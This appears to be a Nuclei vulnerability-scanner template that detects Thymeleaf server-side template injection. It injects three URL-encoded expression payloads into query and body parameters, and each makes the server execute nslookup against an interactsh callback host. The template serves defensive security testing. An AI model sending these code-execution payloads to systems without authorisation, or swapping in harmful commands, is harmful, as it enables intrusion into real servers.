id: thymeleaf-oob

info:
  name: Thymeleaf - Out of Band Template Injection
  author: ritikchaddha
  severity: high
  description: |
    Thymeleaf template injection occurs when user input is embedded in a template without proper sanitization. This can lead to remote code execution through Thymeleaf's expression language features.
  reference:
    - https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/
  metadata:
    max-request: 1
  tags: thymeleaf,oob,ssti,oast,dast,vuln

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'
          - 'method == "POST"'
          - 'method == "PUT"'
    payloads:
      injection:
        - "%24%7B%23rt%20%3D%20%40java.lang.Runtime%40getRuntime%28%29%2C%23rt.exec%28%27nslookup%20-type%3DSRV%20{{interactsh-url}}%27%29%7D"
        - "%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%27nslookup%20-type%3DSRV%20{{interactsh-url}}%27%29%7D"
        - "%24%7Bnew%20java.lang.ProcessBuilder%28%27nslookup%27%2C%27-type%3DSRV%27%2C%27{{interactsh-url}}%27%29.start%28%29%7D"

    fuzzing:
      - parts:
          - query
          - body
        type: replace
        mode: single
        fuzz:
          - "{{injection}}"

    matchers:
      - type: dsl
        name: request-matcher
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
# digest: 490a004630440220120b66a9f2f04bdbd8ffc1f1576f058c20a6c70c6a03603130d460823788081b02202544469d08071fa5fd1943f4488307a881f86b4906e0564466c7e3abfa0daee9:922c64590222798bb761d5b6d8e72950